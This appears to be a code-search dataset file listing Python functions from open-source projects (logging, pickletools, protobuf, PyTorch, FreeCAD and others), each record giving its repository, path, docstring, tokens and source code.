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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Tools/Python/3.7.10/windows/Lib/logging/__init__.py | python | Formatter.formatStack | (self, stack_info) | return stack_info | This method is provided as an extension point for specialized
formatting of stack information.
The input data is a string as returned from a call to
:func:`traceback.print_stack`, but with the last trailing newline
removed.
The base implementation just returns the value passed in. | This method is provided as an extension point for specialized
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] | def formatStack(self, stack_info):
"""
This method is provided as an extension point for specialized
formatting of stack information.
The input data is a string as returned from a call to
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hfinkel/llvm-project-cxxjit | 91084ef018240bbb8e24235ff5cd8c355a9c1a1e | llvm/utils/benchmark/tools/gbench/report.py | python | find_longest_name | (benchmark_list) | return longest_name | Return the length of the longest benchmark name in a given list of
benchmark JSON objects | Return the length of the longest benchmark name in a given list of
benchmark JSON objects | [
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"""
Return the length of the longest benchmark name in a given list of
benchmark JSON objects
"""
longest_name = 1
for bc in benchmark_list:
if len(bc['name']) > longest_name:
longest_name = len(bc['name'])
return longest_name | [
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cztomczak/cefpython | 5679f28cec18a57a56e298da2927aac8d8f83ad6 | tools/build.py | python | compile_cpp_projects_with_setuptools | () | Use setuptools to build static libraries / executable. | Use setuptools to build static libraries / executable. | [
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] | def compile_cpp_projects_with_setuptools():
"""Use setuptools to build static libraries / executable."""
compile_cpp_projects = os.path.join(TOOLS_DIR, "build_cpp_projects.py")
retcode = subprocess.call([sys.executable, compile_cpp_projects])
if retcode != 0:
print("[build.py] ERROR: Failed to compile C++ projects")
sys.exit(1)
# Copy subprocess executable
print("[build.py] Copy subprocess executable")
shutil.copy(SUBPROCESS_EXE, CEFPYTHON_BINARY) | [
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baidu/bigflow | 449245016c0df7d1252e85581e588bfc60cefad3 | bigflow_python/python/bigflow/pcollection.py | python | PCollection.subtract | (self, other) | return transforms.subtract(self, other) | 返回不存在另一个PCollection中的元素，相当于做容器减法
Args:
other (PCollection): 作为减数的PCollection
Returns:
PCollection: 表示减法结果的PCollection
>>> a = _pipeline.parallelize([1, 2, 3, 3, 4])
>>> b = _pipeline.parallelize([1, 2, 5])
>>> a.subtract(b).get()
[3, 3, 4] | 返回不存在另一个PCollection中的元素，相当于做容器减法 | [
"返回不存在另一个PCollection中的元素，相当于做容器减法"
] | def subtract(self, other):
"""
返回不存在另一个PCollection中的元素，相当于做容器减法
Args:
other (PCollection): 作为减数的PCollection
Returns:
PCollection: 表示减法结果的PCollection
>>> a = _pipeline.parallelize([1, 2, 3, 3, 4])
>>> b = _pipeline.parallelize([1, 2, 5])
>>> a.subtract(b).get()
[3, 3, 4]
"""
return transforms.subtract(self, other) | [
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | src/msw/_core.py | python | Image.CountColours | (*args, **kwargs) | return _core_.Image_CountColours(*args, **kwargs) | CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long | CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long | [
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"""CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long"""
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wxWidgets/wxPython-Classic | 19571e1ae65f1ac445f5491474121998c97a1bf0 | src/msw/_core.py | python | Window.GetId | (*args, **kwargs) | return _core_.Window_GetId(*args, **kwargs) | GetId(self) -> int
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return _core_.Window_GetId(*args, **kwargs) | [
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benoitsteiner/tensorflow-opencl | cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5 | tensorflow/tools/ci_build/update_version.py | python | main | () | This script updates all instances of version in the tensorflow directory.
Requirements:
version: The version tag
OR
nightly: Create a nightly tag with current date
Raises:
RuntimeError: If the script is not being run from tf source dir | This script updates all instances of version in the tensorflow directory. | [
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"""This script updates all instances of version in the tensorflow directory.
Requirements:
version: The version tag
OR
nightly: Create a nightly tag with current date
Raises:
RuntimeError: If the script is not being run from tf source dir
"""
parser = argparse.ArgumentParser(description="Cherry picking automation.")
group = parser.add_mutually_exclusive_group(required=True)
# Arg information
group.add_argument("--version",
help="<new_major_ver>.<new_minor_ver>.<new_patch_ver>",
default="")
group.add_argument("--nightly",
help="disable the service provisioning step",
action="store_true")
args = parser.parse_args()
check_all_files()
old_version = get_current_semver_version()
if args.nightly:
# dev minor version is one ahead of official
nightly_minor_ver = int(old_version.minor) + 1
new_version = Version(old_version.major,
str(nightly_minor_ver),
old_version.patch,
"-dev" + time.strftime("%Y%m%d"),
NIGHTLY_VERSION)
else:
new_version = Version.parse_from_string(args.version, REGULAR_VERSION)
update_version_h(old_version, new_version)
update_setup_dot_py(old_version, new_version)
update_readme(old_version, new_version)
update_md_files(old_version, new_version)
update_dockerfiles(old_version, new_version)
# Print transition details
print("Major: %s -> %s" % (old_version.major, new_version.major))
print("Minor: %s -> %s" % (old_version.minor, new_version.minor))
print("Patch: %s -> %s\n" % (old_version.patch, new_version.patch))
check_for_old_version(old_version, new_version) | [
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wlanjie/AndroidFFmpeg | 7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf | tools/fdk-aac-build/x86/toolchain/lib/python2.7/calendar.py | python | Calendar.yeardayscalendar | (self, year, width=3) | return [months[i:i+width] for i in range(0, len(months), width) ] | Return the data for the specified year ready for formatting (similar to
yeardatescalendar()). Entries in the week lists are day numbers.
Day numbers outside this month are zero. | Return the data for the specified year ready for formatting (similar to
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] | def yeardayscalendar(self, year, width=3):
"""
Return the data for the specified year ready for formatting (similar to
yeardatescalendar()). Entries in the week lists are day numbers.
Day numbers outside this month are zero.
"""
months = [
self.monthdayscalendar(year, i)
for i in range(January, January+12)
]
return [months[i:i+width] for i in range(0, len(months), width) ] | [
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InsightSoftwareConsortium/ITK | 87acfce9a93d928311c38bc371b666b515b9f19d | Modules/ThirdParty/pygccxml/src/pygccxml/declarations/calldef.py | python | calldef_t.has_extern | (self) | return self._has_extern | Was this callable declared as "extern"?
@type: bool | Was this callable declared as "extern"? | [
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"""Was this callable declared as "extern"?
@type: bool"""
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pmq20/node-packer | 12c46c6e44fbc14d9ee645ebd17d5296b324f7e0 | current/tools/gyp/pylib/gyp/generator/cmake.py | python | CreateCMakeTargetBaseName | (qualified_target) | return StringToCMakeTargetName(cmake_target_base_name) | This is the name we would like the target to have. | This is the name we would like the target to have. | [
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"""This is the name we would like the target to have."""
_, gyp_target_name, gyp_target_toolset = (
gyp.common.ParseQualifiedTarget(qualified_target))
cmake_target_base_name = gyp_target_name
if gyp_target_toolset and gyp_target_toolset != 'target':
cmake_target_base_name += '_' + gyp_target_toolset
return StringToCMakeTargetName(cmake_target_base_name) | [
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wlanjie/AndroidFFmpeg | 7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf | tools/fdk-aac-build/armeabi-v7a/toolchain/lib/python2.7/pickletools.py | python | dis | (pickle, out=None, memo=None, indentlevel=4) | Produce a symbolic disassembly of a pickle.
'pickle' is a file-like object, or string, containing a (at least one)
pickle. The pickle is disassembled from the current position, through
the first STOP opcode encountered.
Optional arg 'out' is a file-like object to which the disassembly is
printed. It defaults to sys.stdout.
Optional arg 'memo' is a Python dict, used as the pickle's memo. It
may be mutated by dis(), if the pickle contains PUT or BINPUT opcodes.
Passing the same memo object to another dis() call then allows disassembly
to proceed across multiple pickles that were all created by the same
pickler with the same memo. Ordinarily you don't need to worry about this.
Optional arg indentlevel is the number of blanks by which to indent
a new MARK level. It defaults to 4.
In addition to printing the disassembly, some sanity checks are made:
+ All embedded opcode arguments "make sense".
+ Explicit and implicit pop operations have enough items on the stack.
+ When an opcode implicitly refers to a markobject, a markobject is
actually on the stack.
+ A memo entry isn't referenced before it's defined.
+ The markobject isn't stored in the memo.
+ A memo entry isn't redefined. | Produce a symbolic disassembly of a pickle. | [
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"""Produce a symbolic disassembly of a pickle.
'pickle' is a file-like object, or string, containing a (at least one)
pickle. The pickle is disassembled from the current position, through
the first STOP opcode encountered.
Optional arg 'out' is a file-like object to which the disassembly is
printed. It defaults to sys.stdout.
Optional arg 'memo' is a Python dict, used as the pickle's memo. It
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Passing the same memo object to another dis() call then allows disassembly
to proceed across multiple pickles that were all created by the same
pickler with the same memo. Ordinarily you don't need to worry about this.
Optional arg indentlevel is the number of blanks by which to indent
a new MARK level. It defaults to 4.
In addition to printing the disassembly, some sanity checks are made:
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+ Explicit and implicit pop operations have enough items on the stack.
+ When an opcode implicitly refers to a markobject, a markobject is
actually on the stack.
+ A memo entry isn't referenced before it's defined.
+ The markobject isn't stored in the memo.
+ A memo entry isn't redefined.
"""
# Most of the hair here is for sanity checks, but most of it is needed
# anyway to detect when a protocol 0 POP takes a MARK off the stack
# (which in turn is needed to indent MARK blocks correctly).
stack = [] # crude emulation of unpickler stack
if memo is None:
memo = {} # crude emulation of unpicker memo
maxproto = -1 # max protocol number seen
markstack = [] # bytecode positions of MARK opcodes
indentchunk = ' ' * indentlevel
errormsg = None
for opcode, arg, pos in genops(pickle):
if pos is not None:
print >> out, "%5d:" % pos,
line = "%-4s %s%s" % (repr(opcode.code)[1:-1],
indentchunk * len(markstack),
opcode.name)
maxproto = max(maxproto, opcode.proto)
before = opcode.stack_before # don't mutate
after = opcode.stack_after # don't mutate
numtopop = len(before)
# See whether a MARK should be popped.
markmsg = None
if markobject in before or (opcode.name == "POP" and
stack and
stack[-1] is markobject):
assert markobject not in after
if __debug__:
if markobject in before:
assert before[-1] is stackslice
if markstack:
markpos = markstack.pop()
if markpos is None:
markmsg = "(MARK at unknown opcode offset)"
else:
markmsg = "(MARK at %d)" % markpos
# Pop everything at and after the topmost markobject.
while stack[-1] is not markobject:
stack.pop()
stack.pop()
# Stop later code from popping too much.
try:
numtopop = before.index(markobject)
except ValueError:
assert opcode.name == "POP"
numtopop = 0
else:
errormsg = markmsg = "no MARK exists on stack"
# Check for correct memo usage.
if opcode.name in ("PUT", "BINPUT", "LONG_BINPUT"):
assert arg is not None
if arg in memo:
errormsg = "memo key %r already defined" % arg
elif not stack:
errormsg = "stack is empty -- can't store into memo"
elif stack[-1] is markobject:
errormsg = "can't store markobject in the memo"
else:
memo[arg] = stack[-1]
elif opcode.name in ("GET", "BINGET", "LONG_BINGET"):
if arg in memo:
assert len(after) == 1
after = [memo[arg]] # for better stack emulation
else:
errormsg = "memo key %r has never been stored into" % arg
if arg is not None or markmsg:
# make a mild effort to align arguments
line += ' ' * (10 - len(opcode.name))
if arg is not None:
line += ' ' + repr(arg)
if markmsg:
line += ' ' + markmsg
print >> out, line
if errormsg:
# Note that we delayed complaining until the offending opcode
# was printed.
raise ValueError(errormsg)
# Emulate the stack effects.
if len(stack) < numtopop:
raise ValueError("tries to pop %d items from stack with "
"only %d items" % (numtopop, len(stack)))
if numtopop:
del stack[-numtopop:]
if markobject in after:
assert markobject not in before
markstack.append(pos)
stack.extend(after)
print >> out, "highest protocol among opcodes =", maxproto
if stack:
raise ValueError("stack not empty after STOP: %r" % stack) | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/Blast/houdini/python2.7libs/blastExport/slice.py | python | Slice.physicsDataGenericComponentWrapperId | (self, value) | :return: str | :return: str | [
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"""
:return: str
"""
if self.__physicsDataGenericComponentWrapperId == value:
return
self.__physicsDataGenericComponentWrapperId = value | [
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wlanjie/AndroidFFmpeg | 7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf | tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/distutils/cmd.py | python | Command.run | (self) | A command's raison d'etre: carry out the action it exists to
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raise RuntimeError, \
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CaoWGG/TensorRT-CenterNet | f949252e37b51e60f873808f46d3683f15735e79 | onnx-tensorrt/third_party/onnx/third_party/pybind11/tools/clang/cindex.py | python | Cursor.get_children | (self) | return iter(children) | Return an iterator for accessing the children of this cursor. | Return an iterator for accessing the children of this cursor. | [
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"""Return an iterator for accessing the children of this cursor."""
# FIXME: Expose iteration from CIndex, PR6125.
def visitor(child, parent, children):
# FIXME: Document this assertion in API.
# FIXME: There should just be an isNull method.
assert child != conf.lib.clang_getNullCursor()
# Create reference to TU so it isn't GC'd before Cursor.
child._tu = self._tu
children.append(child)
return 1 # continue
children = []
conf.lib.clang_visitChildren(self, callbacks['cursor_visit'](visitor),
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hanpfei/chromium-net | 392cc1fa3a8f92f42e4071ab6e674d8e0482f83f | third_party/catapult/telemetry/third_party/pyserial/serial/serialutil.py | python | FileLike.readlines | (self, sizehint=None, eol=LF) | return lines | read a list of lines, until timeout.
sizehint is ignored. | read a list of lines, until timeout.
sizehint is ignored. | [
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] | def readlines(self, sizehint=None, eol=LF):
"""read a list of lines, until timeout.
sizehint is ignored."""
if self.timeout is None:
raise ValueError("Serial port MUST have enabled timeout for this function!")
leneol = len(eol)
lines = []
while True:
line = self.readline(eol=eol)
if line:
lines.append(line)
if line[-leneol:] != eol: # was the line received with a timeout?
break
else:
break
return lines | [
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mindspore-ai/mindspore | fb8fd3338605bb34fa5cea054e535a8b1d753fab | mindspore/python/mindspore/numpy/math_ops.py | python | _count_nonnan | (a, axis, keepdims=False) | return _reduce_sum_default(nonnan_mask, axis) | Counts the number of elements excluding NaNs. | Counts the number of elements excluding NaNs. | [
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] | def _count_nonnan(a, axis, keepdims=False):
"""Counts the number of elements excluding NaNs."""
nonnan_mask = F.select(_isnan(a), zeros(F.shape(a), F.dtype(a)), ones(F.shape(a), F.dtype(a)))
if keepdims:
return _reduce_sum_keepdims(nonnan_mask, axis)
return _reduce_sum_default(nonnan_mask, axis) | [
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lemenkov/libyuv | 5b3351bd07e83f9f9a4cb6629561331ecdb7c546 | tools_libyuv/get_landmines.py | python | print_landmines | () | ALL LANDMINES ARE EMITTED FROM HERE. | ALL LANDMINES ARE EMITTED FROM HERE. | [
"ALL",
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"ARE",
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"FROM",
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"."
] | def print_landmines():
"""
ALL LANDMINES ARE EMITTED FROM HERE.
"""
# DO NOT add landmines as part of a regular CL. Landmines are a last-effort
# bandaid fix if a CL that got landed has a build dependency bug and all bots
# need to be cleaned up. If you're writing a new CL that causes build
# dependency problems, fix the dependency problems instead of adding a
# landmine.
# See the Chromium version in src/build/get_landmines.py for usage examples.
print 'Clobber to remove GYP artifacts after switching bots to GN.'
print 'Another try to remove GYP artifacts after switching bots to GN.' | [
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FreeCAD/FreeCAD | ba42231b9c6889b89e064d6d563448ed81e376ec | src/Mod/Draft/draftguitools/gui_dimensions.py | python | Dimension.createObject | (self) | Create the actual object in the current document. | Create the actual object in the current document. | [
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] | def createObject(self):
"""Create the actual object in the current document."""
Gui.addModule("Draft")
if self.angledata:
# Angle dimension, with two angles provided
self.create_angle_dimension()
elif self.link and not self.arcmode:
# Linear dimension, linked to a straight edge
if self.force == 1:
self.create_linear_dimension_obj("Y")
elif self.force == 2:
self.create_linear_dimension_obj("X")
else:
self.create_linear_dimension_obj()
elif self.arcmode:
# Radius or dimeter dimension, linked to a circular edge
self.create_radial_dimension_obj()
else:
# Linear dimension, not linked to any edge
self.create_linear_dimension()
if self.ui.continueMode:
self.cont = self.node[2]
if not self.dir:
if self.link:
v1 = self.link[0].Shape.Vertexes[self.link[1]].Point
v2 = self.link[0].Shape.Vertexes[self.link[2]].Point
self.dir = v2.sub(v1)
else:
self.dir = self.node[1].sub(self.node[0])
self.node = [self.node[1]]
self.link = None | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/CloudGemMetric/v1/AWS/common-code/Lib/numpy/ma/core.py | python | reshape | (a, new_shape, order='C') | Returns an array containing the same data with a new shape.
Refer to `MaskedArray.reshape` for full documentation.
See Also
--------
MaskedArray.reshape : equivalent function | Returns an array containing the same data with a new shape. | [
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] | def reshape(a, new_shape, order='C'):
"""
Returns an array containing the same data with a new shape.
Refer to `MaskedArray.reshape` for full documentation.
See Also
--------
MaskedArray.reshape : equivalent function
"""
# We can't use 'frommethod', it whine about some parameters. Dmmit.
try:
return a.reshape(new_shape, order=order)
except AttributeError:
_tmp = narray(a, copy=False).reshape(new_shape, order=order)
return _tmp.view(MaskedArray) | [
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pytorch/pytorch | 7176c92687d3cc847cc046bf002269c6949a21c2 | torch/nn/utils/prune.py | python | BasePruningMethod.prune | (self, t, default_mask=None, importance_scores=None) | return t * self.compute_mask(importance_scores, default_mask=default_mask) | r"""Computes and returns a pruned version of input tensor ``t``
according to the pruning rule specified in :meth:`compute_mask`.
Args:
t (torch.Tensor): tensor to prune (of same dimensions as
``default_mask``).
importance_scores (torch.Tensor): tensor of importance scores (of
same shape as ``t``) used to compute mask for pruning ``t``.
The values in this tensor indicate the importance of the
corresponding elements in the ``t`` that is being pruned.
If unspecified or None, the tensor ``t`` will be used in its place.
default_mask (torch.Tensor, optional): mask from previous pruning
iteration, if any. To be considered when determining what
portion of the tensor that pruning should act on. If None,
default to a mask of ones.
Returns:
pruned version of tensor ``t``. | r"""Computes and returns a pruned version of input tensor ``t``
according to the pruning rule specified in :meth:`compute_mask`. | [
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r"""Computes and returns a pruned version of input tensor ``t``
according to the pruning rule specified in :meth:`compute_mask`.
Args:
t (torch.Tensor): tensor to prune (of same dimensions as
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importance_scores (torch.Tensor): tensor of importance scores (of
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default to a mask of ones.
Returns:
pruned version of tensor ``t``.
"""
if importance_scores is not None:
assert (
importance_scores.shape == t.shape
), "importance_scores should have the same shape as tensor t"
else:
importance_scores = t
default_mask = default_mask if default_mask is not None else torch.ones_like(t)
return t * self.compute_mask(importance_scores, default_mask=default_mask) | [
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hpi-xnor/BMXNet-v2 | af2b1859eafc5c721b1397cef02f946aaf2ce20d | python/mxnet/gluon/block.py | python | Block.forward | (self, *args) | Overrides to implement forward computation using :py:class:`NDArray`. Only
accepts positional arguments.
Parameters
----------
*args : list of NDArray
Input tensors. | Overrides to implement forward computation using :py:class:`NDArray`. Only
accepts positional arguments. | [
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] | def forward(self, *args):
"""Overrides to implement forward computation using :py:class:`NDArray`. Only
accepts positional arguments.
Parameters
----------
*args : list of NDArray
Input tensors.
"""
# pylint: disable= invalid-name
raise NotImplementedError | [
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nyuwireless-unipd/ns3-mmwave | 4ff9e87e8079764e04cbeccd8e85bff15ae16fb3 | bindings/python/rad_util.py | python | quantile | (l, p) | return result | Return p quantile of list l. E.g. p=0.25 for q1.
See:
http://rweb.stat.umn.edu/R/library/base/html/quantile.html | Return p quantile of list l. E.g. p=0.25 for q1. | [
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"""Return p quantile of list l. E.g. p=0.25 for q1.
See:
http://rweb.stat.umn.edu/R/library/base/html/quantile.html
"""
l_sort = l[:]
l_sort.sort()
n = len(l)
r = 1 + ((n - 1) * p)
i = int(r)
f = r - i
if i < n:
result = (1-f)*l_sort[i-1] + f*l_sort[i]
else:
result = l_sort[i-1]
return result | [
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aws/lumberyard | f85344403c1c2e77ec8c75deb2c116e97b713217 | dev/Gems/CloudGemDefectReporter/v1/AWS/common-code/Lib/setuptools/msvc.py | python | EnvironmentInfo.UCRTIncludes | (self) | return [os.path.join(include, '%sucrt' % self._ucrt_subdir)] | Microsoft Universal C Runtime SDK Include | Microsoft Universal C Runtime SDK Include | [
"Microsoft",
"Universal",
"C",
"Runtime",
"SDK",
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] | def UCRTIncludes(self):
"""
Microsoft Universal C Runtime SDK Include
"""
if self.vc_ver < 14.0:
return []
include = os.path.join(self.si.UniversalCRTSdkDir, 'include')
return [os.path.join(include, '%sucrt' % self._ucrt_subdir)] | [
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sphinxsearch/sphinx | 409f2c2b5b2ff70b04e38f92b6b1a890326bad65 | api/sphinxapi.py | python | SphinxClient.SetIDRange | (self, minid, maxid) | Set IDs range to match.
Only match records if document ID is beetwen $min and $max (inclusive). | Set IDs range to match.
Only match records if document ID is beetwen $min and $max (inclusive). | [
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Set IDs range to match.
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assert(isinstance(minid, (int, long)))
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self._max_id = maxid | [
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apple/turicreate | cce55aa5311300e3ce6af93cb45ba791fd1bdf49 | src/python/turicreate/data_structures/sarray.py | python | SArray.dtype | (self) | return self.__proxy__.dtype() | The data type of the SArray.
Returns
-------
out : type
The type of the SArray.
Examples
--------
>>> sa = tc.SArray(["The quick brown fox jumps over the lazy dog."])
>>> sa.dtype
str
>>> sa = tc.SArray(range(10))
>>> sa.dtype
int | The data type of the SArray. | [
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"""
The data type of the SArray.
Returns
-------
out : type
The type of the SArray.
Examples
--------
>>> sa = tc.SArray(["The quick brown fox jumps over the lazy dog."])
>>> sa.dtype
str
>>> sa = tc.SArray(range(10))
>>> sa.dtype
int
"""
return self.__proxy__.dtype() | [
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hughperkins/tf-coriander | 970d3df6c11400ad68405f22b0c42a52374e94ca | tensorflow/contrib/graph_editor/select.py | python | _get_output_ts | (ops) | return ts | Compute the list of unique output tensors of all the op in ops.
Args:
ops: an object convertible to a list of tf.Operation.
Returns:
The list of unique output tensors of all the op in ops.
Raises:
TypeError: if ops cannot be converted to a list of tf.Operation. | Compute the list of unique output tensors of all the op in ops. | [
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"""Compute the list of unique output tensors of all the op in ops.
Args:
ops: an object convertible to a list of tf.Operation.
Returns:
The list of unique output tensors of all the op in ops.
Raises:
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"""
ops = util.make_list_of_op(ops)
ts = []
for op in ops:
ts += op.outputs
return ts | [
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mongodb/mongo | d8ff665343ad29cf286ee2cf4a1960d29371937b | src/third_party/scons-3.1.2/scons-local-3.1.2/SCons/Action.py | python | _object_contents | (obj) | Return the signature contents of any Python object.
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] | def _object_contents(obj):
"""Return the signature contents of any Python object.
We have to handle the case where object contains a code object
since it can be pickled directly.
"""
try:
# Test if obj is a method.
return _function_contents(obj.__func__)
except AttributeError:
try:
# Test if obj is a callable object.
return _function_contents(obj.__call__.__func__)
except AttributeError:
try:
# Test if obj is a code object.
return _code_contents(obj)
except AttributeError:
try:
# Test if obj is a function object.
return _function_contents(obj)
except AttributeError as ae:
# Should be a pickle-able Python object.
try:
return _object_instance_content(obj)
# pickling an Action instance or object doesn't yield a stable
# content as instance property may be dumped in different orders
# return pickle.dumps(obj, ACTION_SIGNATURE_PICKLE_PROTOCOL)
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return bytearray(repr(obj), 'utf-8') | [
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Xilinx/Vitis-AI | fc74d404563d9951b57245443c73bef389f3657f | tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/ops/math_grad.py | python | _UnsortedSegmentMaxGrad | (op, grad) | return _UnsortedSegmentMinOrMaxGrad(op, grad) | Gradient for UnsortedSegmentMax. | Gradient for UnsortedSegmentMax. | [
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""" Gradient for UnsortedSegmentMax. """
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apple/turicreate | cce55aa5311300e3ce6af93cb45ba791fd1bdf49 | src/external/coremltools_wrap/coremltools/deps/protobuf/python/google/protobuf/json_format.py | python | _Parser._ConvertFieldValuePair | (self, js, message) | Convert field value pairs into regular message.
Args:
js: A JSON object to convert the field value pairs.
message: A regular protocol message to record the data.
Raises:
ParseError: In case of problems converting. | Convert field value pairs into regular message. | [
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"""Convert field value pairs into regular message.
Args:
js: A JSON object to convert the field value pairs.
message: A regular protocol message to record the data.
Raises:
ParseError: In case of problems converting.
"""
names = []
message_descriptor = message.DESCRIPTOR
fields_by_json_name = dict((f.json_name, f)
for f in message_descriptor.fields)
for name in js:
try:
field = fields_by_json_name.get(name, None)
if not field:
field = message_descriptor.fields_by_name.get(name, None)
if not field:
if self.ignore_unknown_fields:
continue
raise ParseError(
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message_descriptor.full_name, name))
if name in names:
raise ParseError('Message type "{0}" should not have multiple '
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message.DESCRIPTOR.full_name, name))
names.append(name)
# Check no other oneof field is parsed.
if field.containing_oneof is not None:
oneof_name = field.containing_oneof.name
if oneof_name in names:
raise ParseError('Message type "{0}" should not have multiple '
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message.DESCRIPTOR.full_name, oneof_name))
names.append(oneof_name)
value = js[name]
if value is None:
if (field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE
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sub_message = getattr(message, field.name)
sub_message.null_value = 0
else:
message.ClearField(field.name)
continue
# Parse field value.
if _IsMapEntry(field):
message.ClearField(field.name)
self._ConvertMapFieldValue(value, message, field)
elif field.label == descriptor.FieldDescriptor.LABEL_REPEATED:
message.ClearField(field.name)
if not isinstance(value, list):
raise ParseError('repeated field {0} must be in [] which is '
'{1}.'.format(name, value))
if field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:
# Repeated message field.
for item in value:
sub_message = getattr(message, field.name).add()
# None is a null_value in Value.
if (item is None and
sub_message.DESCRIPTOR.full_name != 'google.protobuf.Value'):
raise ParseError('null is not allowed to be used as an element'
' in a repeated field.')
self.ConvertMessage(item, sub_message)
else:
# Repeated scalar field.
for item in value:
if item is None:
raise ParseError('null is not allowed to be used as an element'
' in a repeated field.')
getattr(message, field.name).append(
_ConvertScalarFieldValue(item, field))
elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:
sub_message = getattr(message, field.name)
sub_message.SetInParent()
self.ConvertMessage(value, sub_message)
else:
setattr(message, field.name, _ConvertScalarFieldValue(value, field))
except ParseError as e:
if field and field.containing_oneof is None:
raise ParseError('Failed to parse {0} field: {1}'.format(name, e))
else:
raise ParseError(str(e))
except ValueError as e:
raise ParseError('Failed to parse {0} field: {1}.'.format(name, e))
except TypeError as e:
raise ParseError('Failed to parse {0} field: {1}.'.format(name, e)) | [
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ApolloAuto/apollo-platform | 86d9dc6743b496ead18d597748ebabd34a513289 | ros/third_party/lib_aarch64/python2.7/dist-packages/rosdep2/rospkg_loader.py | python | RosPkgLoader.get_loadable_resources | (self) | return self._loadable_resource_cache | 'Resources' map to ROS packages names. | 'Resources' map to ROS packages names. | [
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"names",
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] | def get_loadable_resources(self):
"""
'Resources' map to ROS packages names.
"""
if not self._loadable_resource_cache:
self._loadable_resource_cache = list(self._rospack.list())
return self._loadable_resource_cache | [
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turi-code/SFrame | 796b9bdfb2fa1b881d82080754643c7e68629cd2 | oss_src/unity/python/sframe/data_structures/sarray.py | python | SArray.__is_materialized__ | (self) | return self.__proxy__.is_materialized() | Returns whether or not the sarray has been materialized. | Returns whether or not the sarray has been materialized. | [
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"""
Returns whether or not the sarray has been materialized.
"""
return self.__proxy__.is_materialized() | [
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microsoft/TSS.MSR | 0f2516fca2cd9929c31d5450e39301c9bde43688 | TSS.Py/src/TpmTypes.py | python | TPM2_Policy_AC_SendSelect_REQUEST.toTpm | (self, buf) | TpmMarshaller method | TpmMarshaller method | [
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] | def toTpm(self, buf):
""" TpmMarshaller method """
buf.writeSizedByteBuf(self.objectName)
buf.writeSizedByteBuf(self.authHandleName)
buf.writeSizedByteBuf(self.acName)
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IfcOpenShell/IfcOpenShell | 2c2954b11a9c9d581bef03240836d4567e69ad0b | src/ifcopenshell-python/ifcopenshell/ids.py | python | restriction.__repr__ | (self) | return msg | Represent the restriction in human readable sentence.
:return: sentence
:rtype: str | Represent the restriction in human readable sentence. | [
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] | def __repr__(self):
"""Represent the restriction in human readable sentence.
:return: sentence
:rtype: str
"""
msg = "of type '%s', " % (self.base)
if self.type == "enumeration":
msg = msg + "of value: '%s'" % "' or '".join(self.options)
elif self.type == "bounds":
msg = msg + "of value %s" % ", and ".join([bounds[x] + str(self.options[x]) for x in self.options])
elif self.type == "length":
msg = msg + "with %s letters" % " and ".join(self.options)
elif self.type == "pattern":
msg = msg + "respecting the pattern '%s'" % self.options
# TODO add fractionDigits
# TODO add totalDigits
# TODO add whiteSpace
return msg | [
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thalium/icebox | 99d147d5b9269222225443ce171b4fd46d8985d4 | third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3-cpu-generated-1-data.py | python | Bs3Cg1Instruction.getInstructionEntry | (self) | return [
' /* cbOpcodes = */ %s, /* %s */' % (len(self.asOpcodes), ' '.join(self.asOpcodes),),
' /* cOperands = */ %s,%s' % (len(self.oInstr.aoOperands), sOperands,),
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' /* fAdvanceMnemonic = */ %s,' % ('true' if self.fAdvanceMnemonic else 'false',),
' /* offTests = */ %s,' % (self.oTests.offTests,),
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' /* fFlags = */ %s' % (' | '.join(self.asFlags) if self.asFlags else '0'),
] | Returns an array of BS3CG1INSTR member initializers. | Returns an array of BS3CG1INSTR member initializers. | [
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assert len(self.oInstr.sMnemonic) < 16;
sOperands = ', '.join([oOp.sType for oOp in self.oInstr.aoOperands]);
if sOperands:
sOperands = ' /* ' + sOperands + ' */';
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gem5/gem5 | 141cc37c2d4b93959d4c249b8f7e6a8b2ef75338 | src/mem/slicc/parser.py | python | SLICC.p_statement__assign | (self, p) | statement : expr ASSIGN expr SEMI | statement : expr ASSIGN expr SEMI | [
"statement",
":",
"expr",
"ASSIGN",
"expr",
"SEMI"
] | def p_statement__assign(self, p):
"statement : expr ASSIGN expr SEMI"
p[0] = ast.AssignStatementAST(self, p[1], p[3]) | [
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catboost/catboost | 167f64f237114a4d10b2b4ee42adb4569137debe | contrib/tools/python3/src/Lib/_pydecimal.py | python | Context.divmod | (self, a, b) | Return (a // b, a % b).
>>> ExtendedContext.divmod(Decimal(8), Decimal(3))
(Decimal('2'), Decimal('2'))
>>> ExtendedContext.divmod(Decimal(8), Decimal(4))
(Decimal('2'), Decimal('0'))
>>> ExtendedContext.divmod(8, 4)
(Decimal('2'), Decimal('0'))
>>> ExtendedContext.divmod(Decimal(8), 4)
(Decimal('2'), Decimal('0'))
>>> ExtendedContext.divmod(8, Decimal(4))
(Decimal('2'), Decimal('0')) | Return (a // b, a % b). | [
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"""Return (a // b, a % b).
>>> ExtendedContext.divmod(Decimal(8), Decimal(3))
(Decimal('2'), Decimal('2'))
>>> ExtendedContext.divmod(Decimal(8), Decimal(4))
(Decimal('2'), Decimal('0'))
>>> ExtendedContext.divmod(8, 4)
(Decimal('2'), Decimal('0'))
>>> ExtendedContext.divmod(Decimal(8), 4)
(Decimal('2'), Decimal('0'))
>>> ExtendedContext.divmod(8, Decimal(4))
(Decimal('2'), Decimal('0'))
"""
a = _convert_other(a, raiseit=True)
r = a.__divmod__(b, context=self)
if r is NotImplemented:
raise TypeError("Unable to convert %s to Decimal" % b)
else:
return r | [
